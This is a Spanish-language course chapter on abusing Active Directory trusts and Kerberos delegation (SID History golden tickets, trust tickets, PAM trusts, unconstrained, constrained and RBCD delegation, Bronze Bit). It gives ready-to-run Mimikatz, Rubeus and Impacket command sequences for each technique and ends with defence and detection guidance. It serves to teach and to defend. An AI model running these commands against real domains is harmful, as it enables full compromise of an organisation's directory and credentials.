Panorama#
Un dominio de Active Directory no es un límite de seguridad; el bosque lo es. Esta distinción, fácil de pasar por alto, es la que gobierna este capítulo: dos dominios de un mismo bosque confían entre sí de una manera que no admite filtrado, de modo que comprometer un dominio hijo equivale a comprometer el bosque entero. Cruzar a otro bosque, en cambio, exige que una protección concreta —el SID filtering, el filtrado de identificadores de seguridad— esté deshabilitada. Comprender dónde caen esos límites, y qué mecanismos permiten atravesarlos, es el trabajo de la fase final de un compromiso de dominio: cuando el atacante ya reunió privilegios en un dominio (típicamente por las vías de 4.4 · AD CS o 4.5 · Credential dumping) y busca proyectarlos al resto de la organización.
Hay dos familias de mecanismos que cruzan esos límites, y este capítulo las trata en orden. La primera son las relaciones de confianza (trusts): los enlaces explícitos que un administrador crea entre dominios o bosques para que los usuarios de uno accedan a recursos del otro. La segunda es la delegación Kerberos: el mecanismo legítimo por el cual un servicio actúa en nombre de un usuario hacia un tercer servicio —la base del inicio de sesión único en aplicaciones de varias capas— y, mal configurado, la fuente más rica de rutas de suplantación (impersonation) de todo Active Directory. Ambas familias comparten un rasgo: no explotan una vulnerabilidad de software sino el diseño de confianza del propio directorio, de modo que la defensa es casi siempre de configuración y postura, no de parcheo.
flowchart TD
A["Privilegios en un dominio\n(Domain Admin o equivalente)"] --> B{"¿Hacia dónde\nescalo?"}
B -->|"Dominio hijo → raíz\n(mismo bosque)"| C["SID History\nGolden Ticket + SID de\nEnterprise Admins (RID 519)"]
B -->|"Bosque → bosque\n(SID filtering off)"| D["Trust Ticket\nclave de la cuenta trust$\n→ TGT inter-realm"]
B -->|"Bastión PAM\n(PIM trust)"| E["Shadow Security Principals\ncomprometer el bastión = DA"]
A2["Escritura en AD\no admin sobre un host"] --> F{"¿Qué tipo de\ndelegación?"}
F -->|"Máquina cachea TGTs"| G["Unconstrained\ncoaccionar al DC → TGT del DC$\n→ DCSync"]
F -->|"Servicio delega a\nSPN fijo"| H["Constrained / S4U\nimpersonar DA hacia\nel servicio permitido"]
F -->|"Escritura sobre el\natributo del recurso"| I["RBCD\nsembrar cuenta de máquina\n→ S4U2proxy → takeover"]
C --> Z["Compromiso del bosque"]
D --> Z
E --> Z
G --> Z
H --> Z
I --> ZTrusts: el bosque como límite de seguridad#
Una relación de confianza deja que los principales de seguridad (usuarios, máquinas, grupos) de un dominio se autentiquen contra recursos de otro. El detalle que la vuelve explotable es cómo Kerberos transporta la identidad a través del enlace: mediante el SID History, un atributo que arrastra los identificadores de seguridad (SID, Security Identifier) que una cuenta acumuló, pensado originalmente para preservar accesos durante migraciones de dominio. Un Golden Ticket forjado (ver 4.2 · Kerberos) puede inyectar en ese SID History cualquier SID que el atacante decida, y ahí empieza el abuso.
Escalada dentro del bosque (hijo → raíz). Con el hash de la cuenta krbtgt del dominio hijo —obtenido por
el DCSync de 4.5 · Credential dumping— el atacante forja un Golden Ticket e inyecta
en su SID History el SID del grupo Enterprise Admins del dominio raíz (el RID 519, en lugar del 512 de Domain
Admins). Como el SID filtering no se aplica a los trusts internos de un bosque, el controlador de dominio
raíz acepta ese SID y concede acceso de administrador de la empresa. Es una escalada directa de un dominio hijo
al control del bosque completo: la razón técnica de por qué “comprometer el hijo es comprometer el bosque”.
# Obtener el SID del dominio y forjar el ticket con el SID de Enterprise Admins (RID 519)
Convert-NameToSid target.domain.com\krbtgt # → S-1-5-21-… (o lookupsid.py de Impacket)
mimikatz # kerberos::golden /user:Administrator /domain:hijo.corp.local /sid:S-1-5-21-<hijo> \
/krbtgt:<hash krbtgt> /sids:S-1-5-21-<raiz>-519 /ptt
Escalada entre bosques (Trust Ticket). Cruzar a un bosque distinto es más caro. Cada trust tiene una cuenta
asociada (dominio-confiado$) cuya clave cifra los tickets inter-realm. Volcando esa clave —lsadump::trust /patch en Mimikatz— el atacante forja un inter-realm TGT (un TGT de referencia hacia el otro bosque) y pide
desde él un ticket de servicio contra el objetivo. Pero esta vía requiere que el SID filtering esté
deshabilitado en el trust, cosa que no es la configuración por defecto entre bosques: el SID filtering
descarta precisamente los SID “extranjeros” inyectados por SID History, que es lo que anula el ataque. Por eso
la escalada cross-forest es condicional, mientras que la intra-forest es incondicional.
# Volcar la clave del trust y forjar un TGT inter-realm hacia el bosque destino
mimikatz # lsadump::trust /patch
mimikatz # kerberos::golden /domain:hijo.corp.local /sid:S-1-5-21-<origen> /rc4:<clave trust> \
/user:Administrator /service:krbtgt /target:destino.local /ticket:trust.kirbi
Rubeus.exe asktgs /ticket:trust.kirbi /service:CIFS/dc.destino.local /ptt
PAM trust: el bastión que gestiona. Microsoft introdujo PAM (Privileged Access Management) con un “bosque bastión” (bastion / red forest) que administra cuentas privilegiadas de otros bosques mediante Shadow Security Principals —objetos que mapean un grupo del bastión a un grupo privilegiado del bosque gestionado, con tiempo de vida acotado—. La consecuencia adversaria es directa: comprometer el bastión otorga administración de dominio sobre cada bosque que gestiona, y sembrar una cuenta propia como miembro de un Shadow Principal es persistencia de alcance total. Un bosque pensado para reducir el privilegio se convierte, si cae, en el punto único de compromiso de todos los demás.
# Detectar un PAM/PIM trust y enumerar los Shadow Security Principals
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
-Filter * -Properties member
Delegación Kerberos: suplantar en nombre de otro#
La delegación resuelve un problema real: una aplicación web que consulta una base de datos SQL debe hacerlo como el usuario conectado, no como su propia cuenta de servicio, para que los permisos de la base se apliquen a la persona correcta. Kerberos ofrece tres mecanismos para ello, y los tres, mal acotados, se convierten en rutas de suplantación. La diferencia entre ellos es quién controla el permiso de delegar y hacia qué, y esa diferencia es exactamente la que determina el ataque.
Unconstrained: la máquina que guarda todos los TGT#
La unconstrained delegation —delegación no restringida— es la forma más antigua y más peligrosa. Una máquina
marcada con este atributo (TRUSTED_FOR_DELEGATION, el bit 524288 de userAccountControl) cachea en su
memoria el TGT completo de cualquiera que se autentique contra ella, para poder reusarlo hacia cualquier
servicio. Si el atacante controla una máquina así —o compromete una que ya lo esté—, todo TGT que llegue queda
a su disposición. Y aquí entra la coerción de 4.3 · NTLM: forzando a un controlador de
dominio a autenticarse contra la máquina controlada (con SpoolSample/PrinterBug sobre MS-RPRN o PetitPotam
sobre MS-EFSRPC), su TGT —el del DC$— queda en memoria. Como la cuenta de máquina de un DC posee por defecto
los derechos de replicación, ese TGT robado habilita un DCSync inmediato. Es una cadena que va de “controlo una
máquina cualquiera con delegación” a “controlo el dominio” sin necesitar ninguna credencial privilegiada previa,
y los controladores de dominio suelen tener unconstrained habilitado de fábrica.
# Localizar máquinas con unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# Escuchar TGT entrantes en la máquina controlada, y coaccionar al DC para que se autentique
Rubeus.exe monitor /interval:1
printerbug.py 'dominio/usuario:contraseña'@<DC-victima> <maquina-unconstrained> # o PetitPotam
# Reusar el TGT del DC$ capturado y hacer DCSync
Rubeus.exe asktgs /ticket:<TGT del DC$ en b64> /service:LDAP/dc.corp.local /ptt
mimikatz # lsadump::dcsync /user:corp\krbtgt
Constrained (KCD): S4U2self + S4U2proxy#
La constrained delegation (Kerberos Constrained Delegation, KCD) acota la delegación a una lista de
servicios concretos: el atributo msDS-AllowedToDelegateTo de la cuenta enumera hacia qué SPN (Service
Principal Name) puede delegar. El mecanismo se apoya en dos extensiones: S4U2self (Service for User to
Self), que permite a un servicio obtener un ticket “a nombre de” cualquier usuario hacia sí mismo, y S4U2proxy
(Service for User to Proxy), que reenvía ese ticket hacia el servicio permitido. Si el atacante controla la
cuenta de servicio (su hash), puede pedir vía S4U2self un ticket que suplanta a cualquier usuario —incluido un
Domain Admin— y proyectarlo hacia el servicio delegado. El detalle que amplifica el abuso: el nombre del
servicio en el ticket de S4U2proxy no está en la parte cifrada del ticket, de modo que se puede sustituir
(/altservice) por otro servicio de la misma máquina —pedir un ticket para time/ y usarlo como cifs/ o
host/—, ampliando el acceso más allá de lo que el administrador creyó autorizar.
# Identificar cuentas con constrained delegation y hacia qué servicios
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
# Impersonar a Administrator hacia el servicio permitido (Impacket)
getST.py -spn CIFS/sql01.corp.local -impersonate Administrator 'corp/svc_sql:contraseña'
# El SPN se puede sustituir por otro servicio del mismo host (no está cifrado en el ticket)
Rubeus.exe s4u /user:svc_sql /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:"time/sql01.corp.local" /altservice:cifs /ptt
Una variante local de este mecanismo permite escalar en el propio host: los procesos que corren como Network
Service o bajo un Application Pool de IIS actúan con la identidad de la cuenta de máquina, así que desde ahí
se puede lanzar S4U2self (/self) para obtener un ticket que suplanta a un administrador hacia la propia
máquina. El S4U2proxy falla, pero el ticket de S4U2self ya sirve, y su nombre de servicio también se sustituye
(tgssub) para apuntar al servicio deseado.
RBCD: la delegación que vive en el recurso#
La Resource-Based Constrained Delegation (RBCD, delegación restringida basada en recursos) invierte dónde vive
el permiso. En la delegación clásica el atributo está en el que delega; en RBCD está en el recurso destino,
en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity. La consecuencia es la que convierte a RBCD en el
abuso de delegación más frecuente hoy: si el atacante puede escribir ese atributo del objetivo, él mismo elige
quién puede delegar hacia el objetivo. La receta es sembrar una cuenta de máquina bajo su control como
delegador autorizado y luego usar S4U para suplantar a un Domain Admin hacia el objetivo. Con eso, cualquier
primitiva de escritura sobre el objeto —una arista GenericWrite, GenericAll o WriteDACL de las que mapea
4.1 · Reconocimiento de AD, o las que trata 4.7 · ACLs y
persistencia— se convierte en takeover completo del objetivo, controlador de dominio incluido.
La creación de la cuenta de máquina que RBCD necesita se apoya en el MachineAccountQuota, la cuota que por defecto permite a cualquier usuario del dominio crear hasta diez cuentas de equipo. Ponerla en cero es, por eso, una de las mitigaciones de mayor rendimiento del capítulo.
# 1) Crear una cuenta de máquina (abusa del MachineAccountQuota por defecto)
addcomputer.py -computer-name 'evilpc$' -computer-pass 'Passw0rd!' 'corp/usuario:contraseña'
# 2) Escribir el atributo RBCD del objetivo apuntando a nuestra cuenta
rbcd.py -delegate-to 'DC01$' -delegate-from 'evilpc$' -action write 'corp/usuario:contraseña'
# 3) Pedir un ticket que suplanta a Administrator hacia el objetivo
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator 'corp/evilpc$:Passw0rd!'
El Bronze Bit: romper la protección de Protected Users#
El Bronze Bit (CVE-2020-17049) es la vulnerabilidad que anula el control que debería frenar toda esta
familia. Las cuentas marcadas como “sensitive and cannot be delegated” o incluidas en el grupo Protected
Users están, por diseño, excluidas de la delegación. El fallo: el flag forwardable de un ticket S4U —el que
determina si el ticket puede reenviarse— está protegido solo por el cifrado del servicio, no por una firma
del KDC. Quien posea el hash de la cuenta de servicio puede, por lo tanto, activar ese flag por su cuenta e
impersonar incluso a usuarios explícitamente protegidos de delegación. Rompe la última red de seguridad de la
delegación, y por eso su parche (más Protected Users) es indispensable en cuentas de alto valor.
# Impersonar a un usuario protegido forzando el flag forwardable (Impacket con soporte Bronze Bit)
getST.py -spn cifs/servicio.corp.local -impersonate usuario_protegido \
-hashes :<NTLM del servicio> corp/svc_service
# Un DC parcheado responde: KRB_AP_ERR_MODIFIED (Message stream modified)
Defensa y detección#
La delegación y los trusts se defienden ante todo por postura, porque casi ninguno de estos abusos explota un fallo parcheable: explotan configuraciones que el diseño permite. La detección complementa, pero la reducción de superficie es lo que corta las cadenas de raíz.
- Unconstrained delegation. Deshabilitarla en todo lo que no la necesite estrictamente, y nunca en servidores
expuestos. Poner las cuentas privilegiadas en Protected Users y marcarlas “sensitive and cannot be
delegated” impide que sus TGT queden cacheables. Deshabilitar el Print Spooler en los controladores de
dominio neutraliza SpoolSample como gatillo de coerción. Detección: conexiones entrantes MS-RPRN/MS-EFSRPC
hacia hosts que no son DC, y el uso posterior de un TGT del
DC$desde una IP anómala. - RBCD.
MachineAccountQuota = 0elimina la creación de cuentas de máquina de la que depende el ataque. La siembra del atributo genera un Event ID 5136 (modificación de objeto de directorio) sobremsDS-AllowedToActOnBehalfOfOtherIdentity—una escritura sobre ese atributo específico es intrínsecamente sospechosa y es la firma de detección más limpia de RBCD—. - Constrained delegation y S4U. El uso de S4U produce un Event ID 4769 (solicitud de ticket de servicio)
que incluye el campo Transited Services poblado —la marca de una delegación en curso—; correlacionarlo con la
cuenta que lo origina y el usuario suplantado delata la impersonación. Auditar quién tiene
TrustedToAuth(msDS-AllowedToDelegateTono vacío) como inventario de postura. - Bronze Bit. Parchear CVE-2020-17049 en todos los DC; con el parche, el intento falla con
KRB_AP_ERR_MODIFIED. Protected Users refuerza la defensa por si algún DC quedara sin parchear. - Trusts. Auditar qué trusts tienen SID filtering deshabilitado (el que abre el Trust Ticket cross-forest)
y revisar la existencia de PAM/PIM trusts y sus Shadow Security Principals. El SID History anómalo en un ticket
—un SID de Enterprise Admins que no corresponde a la cuenta— es detectable auditando el atributo
sIDHistoryy correlacionando los Event ID 4768/4769 con orígenes inesperados.
El mapeo defensivo consolidado de Active Directory —la correlación de estos eventos con la línea base, las reglas SIEM y los playbooks de respuesta a un abuso de delegación— se desarrolla en 4.9 · Defensa de AD. La coerción compartida con el relay de NTLM está en 4.3 · NTLM, y el DCSync que remata la cadena de unconstrained, en 4.5 · Credential dumping.
Referencias#
red-infra/ad-attacks/cap-09— Trusts de dominio/bosque y delegación Kerberos: SID Hijacking, Trust Ticket, PAM trust, unconstrained/constrained/RBCD, S4U y Bronze Bit (CVE-2020-17049).- MITRE ATT&CK — T1558.001 Golden Ticket, T1134.005 SID-History Injection y T1187 Forced Authentication.
- Microsoft — CVE-2020-17049 (Kerberos Bronze Bit); guía de Protected Users Security Group y de SID filtering en trusts.
- Elad Shamir — Wagging the Dog (análisis de referencia de S4U y RBCD).